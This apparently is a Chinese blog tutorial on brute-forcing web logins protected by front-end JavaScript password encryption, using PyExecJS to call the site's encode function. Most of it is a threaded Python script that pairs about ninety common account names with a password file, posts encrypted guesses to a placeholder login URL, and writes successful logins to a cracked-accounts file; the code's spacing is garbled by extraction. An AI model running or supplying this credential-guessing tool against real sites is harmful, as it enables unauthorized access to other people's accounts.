在渗透的过程中,有时候会遇到密码在前端加密了,为我们爆破提高了难度。加密是js脚本 自定义函数加密,burp里面的一些加密函数就满足不了我们的需求。如下所示,密码为 admin123,加密的效果如下:
可以看到加密的函数主要是encode,所以每个密码都由自定 义 函 数 加 密 。 最 近 在 实 战 过 程 中 get 到 一 个 new trick , 利 用 相 应 的 工 具 或 者 模 块 执 行 该 js 文 件 , 拿 到 输 出 结 果 即 可 , 可 以 使 用 python 自 带的 execjs 。安 装
先 安 装 execjs
pip install PyExecJS
将 js 代 码 保 存 在 本 地 。
#coding:utf- 8
from selenium import webdriver
import execjs
with open ( 'test.js' , 'r' ) as jj:
source = jj. read ()
phantom = execjs.get( 'PhantomJS' )
getpass = phantom. compile ( source )
mypass = getpass. call ( 'encrypt' , 'admin' , 'admin123' )
print mypass
复制代码
利 用以 上 代 码 可 获 得 相 应 的 密码 。
爆 破
自 动 化 走 起 , 写 了 一 个 python 脚 本 进 行 渗 透 爆 破 。
#coding=utf-8
import sys
reload(sys)
sys.setdefaultencoding( "utf-8" )
import requests
import re
import base64
import time
import random
import threading from selenium
import webdriver
import execjs
def brute (user,password,UA) :
url = 'http://xxx/login'
with open( 'test.js' , 'r' ) as jj:
source = jj.read()
# phantom = execjs.get('PhantomJS')
phantom = execjs.get()
getpass = phantom.compile(source)
print user, password
mypass = getpass.call( 'encode' , user, password)
passwd = mypass
print passwd
post_data = {}
post_data[ 'userName' ] = user
post_data[ 'userPass' ] = passwd
post_data[ 'verifyCode' ] = 'dsvx'
headers ={ "Content-Type" : "application/x-www-form-urlencoded; charset=U TF-8" , "Referer" : "http://xxx/" , "Connection" : "close" }
resp = requests.post(url=url,data=post_data,headers=headers) print user+ "#" +password+ " " +resp.content
if not resp.content.find( u' 请 检 查 账 号和 密 码 ' ) > 0 :
print '*** find user:' , user, 'with password:' , password, '***'
with open( 'accounts-cracked.txt' , 'a+' ) as f:
f.write(user + ' ' + passwd + '\n' )
def main () :
tsk = []
user_list = [ 'admin' , 'noreply' , 'hr' , 'jobs' , 'qiniu' , 'lietou' , 'dem o' , 'ceo' , 'dev' , 'root' , 'service' , 'fuwu' , 'yunying' , 'webmaster' , 'wechat' , 'weixin' , 'weibo' , 'tec' , 'bd' , 'bf' , 'op' , 'shop' , 'test' , 'pm' , 'kefu' , 'cd n' , 'marketing' , 'zhaopin' , 'suggestion' , 'warning' , 'risk' , 'system' , 'pay' , 'payment' , 'management' , 'feedback' , 'guanli' , 'ci' , 'ad' , 'td' , 'news' , 'ce rt' , 'sdk' , 'pmd' , 'appstore' , 'development' , 'it' , 'fankui' , 'notify' , 'bug s' , 'security' , 'sec' , 'alipay' , 'yunwei' , 'message' , 'support' , 'ceshi' , 'de veloper' , 'notice' , 'redmine' , 'alert' , 'kaifa' , 'seo' , 'git' , 'vpn' , 'jenkin s' , 'jira' , 'zabbix' , 'chandao' , 'nagios' , 'monitor' , 'account' , 'jubao' , 'ba ckup' , 'open' , 'openapi' , 'github' , 'reload' , 'blacklist' , 'buyer' , 'caiwu' , 'order' , 'postmaster' , 'pr' , 'report' , 'public' , 'download' , 'som' , 'ops' , 'd evops' , 'caigou' , 'pmp' , 'monit' ]
f1 = open( 'pass2.txt' , 'r' )
for i in f1.readlines():
password = i.strip()
for j in user_list:
user = j
UA = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:5 6.0) Gecko/20100101 Firefox/56.0"
t = threading.Thread(target = brute,args = (user,passwor d,UA)) tsk.append(t)
for t in tsk:
t.start()
t.join() # 阻 塞 (0.1)
if __name__ == '__main__':
main()
复制代码
开了一个新群,期待感兴趣的小伙伴加入进来,一起学习交流解决问题,吹水广告勿扰